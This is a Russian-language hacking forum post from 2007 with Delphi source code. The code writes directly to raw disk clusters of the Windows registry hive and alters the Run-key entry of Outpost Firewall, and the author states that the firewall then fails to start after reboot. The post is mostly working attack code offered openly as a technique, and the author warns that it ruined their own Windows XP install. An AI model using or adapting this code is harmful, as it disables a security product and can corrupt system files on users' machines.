Показать сообщение отдельно

  #14  
Старый 28.09.2007, 18:25
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Запись в реестр
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
// тестил только на XP FAT32,NTFS
// как обычно куча констант - для теста возможностей очень удобно
// особые извинения не любителям Делфи

Делает:
Меняет запись в реестре
'F:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice'
На
'D:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice'
Очевидным это станет для всех программ только после перезагрузки.
Как это можно использовать?
Код:
 unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
const
  FSCTL_GET_RETRIEVAL_POINTERS=$90073;
  IOCTL_DISK_GET_CACHE_INFORMATION=$740D4;
  IOCTL_DISK_SET_CACHE_INFORMATION=$7C0D8;
  FILE_READ_ATTRIBUTES= $80;
 type
RETRIEVAL_POINTERS_BUFFER=record
               ExtentCount,XX:DWORD;
               StartingVcn:int64;
                           end;
TExtents =record
        NextVcn:int64;
        Lcnlo,Lcnhi:dword;
          end;
var
  Form1: TForm1;
  s,s1,s2:string;
  hFile,L,i,i1,i2,i3:Dword;
  I64:int64;
  SectorsPerCluster,BytesPerSector,X1,X2,ClusterSize:dword;
  buf:^RETRIEVAL_POINTERS_BUFFER;
  bufe:^TExtents;
  bufe64:^int64;
//  CACHE_INFORMATION:DISK_CACHE_INFORMATION;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
memo1.Lines.Clear;
setlength(s,256);GetSystemDirectory(@s[1],256);setlength(s,2);s:=s+#0;
GetDiskFreeSpace(pAnsiChar(s),SectorsPerCluster,BytesPerSector,X1,X2);
ClusterSize:=SectorsPerCluster*BytesPerSector;
setlength(s,256);setlength(s,GetSystemDirectory(@s[1],256));
// открываем файл реестра где RUN
s:=s+'\config\software'+#0;
hFile:=CreateFile(pAnsiChar(s),FILE_READ_ATTRIBUTES,FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
memo1.Lines.Add(inttohex(hFile,8));
if hFile=INVALID_HANDLE_VALUE then exit;
setlength(s1,getfilesize(hFile,@I)+512);
setlength(s,$200000);
i64:=0;
//Получаем расположение кластеров реестра
DeviceIoControl(hFile,FSCTL_GET_RETRIEVAL_POINTERS,@i64,8,@s[1],$200000,L,0);
buf:=@s[1];
bufe:=@s[17];
bufe64:=@bufe.Lcnlo;
closehandle(hFile);
// с фрагментированными файлами немного сложнее.
if buf.ExtentCount<>1 then begin memo1.Lines.Add('Fragmented');exit; end;
if l=0 then begin memo1.Lines.Add('FSCTL_GET_RETRIEVAL_POINTERS error 0');exit; end;
// GENERIC_READ or GENERIC_WRITE
// Открываем логический диск на чтение-запись
hFile:=CreateFile('\\.\F:',GENERIC_ALL,FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
S2:='F:\Program Files\Agnitum\Outpost Firewall\outpost.exe /waitservice';
 setlength(s1,ClusterSize*2);
bufe64^:=bufe64^*ClusterSize;
 for i2:=0 to bufe.NextVcn-1 do begin
// Ищем известные нам записи в реестре
l:=SetFilePointer(hFile,bufe.Lcnlo,@bufe.Lcnhi,FILE_BEGIN);
ReadFile(hFile,s1[1],ClusterSize*2, X1, 0);
for i:=1 to ClusterSize*2-length(s2) do begin
i1:=1;
while i1<length(s2) do begin
if s1[i+(i1-1)*2]<>S2[i1] then begin i1:=$ffffffff;break;end;
inc(i1);
                    end;
if i1<>$ffffffff then  begin
                 asm int 3 end; //<-????
S1[i]:='D';
l:=SetFilePointer(hFile,bufe.Lcnlo,@bufe.Lcnhi,FILE_BEGIN);
// Меняем реестр
WriteFile(hFile,s1[1],ClusterSize*2, X1, 0);
                       end;
                                          end;
bufe64^:=bufe64^+ClusterSize;
                               end;
closehandle(hFile);
end;
end.
После перезагрузки Аутпост не запустится, но его драйвер не позволит Вам, исправить все как было раньше.
ЗыЖ Аккуратнее с этими операциями, я себе Windows XP уже загубил, прошлось переустанавливать.

Последний раз редактировалось Xserg; 01.10.2007 в 20:00..
 
Ответить с цитированием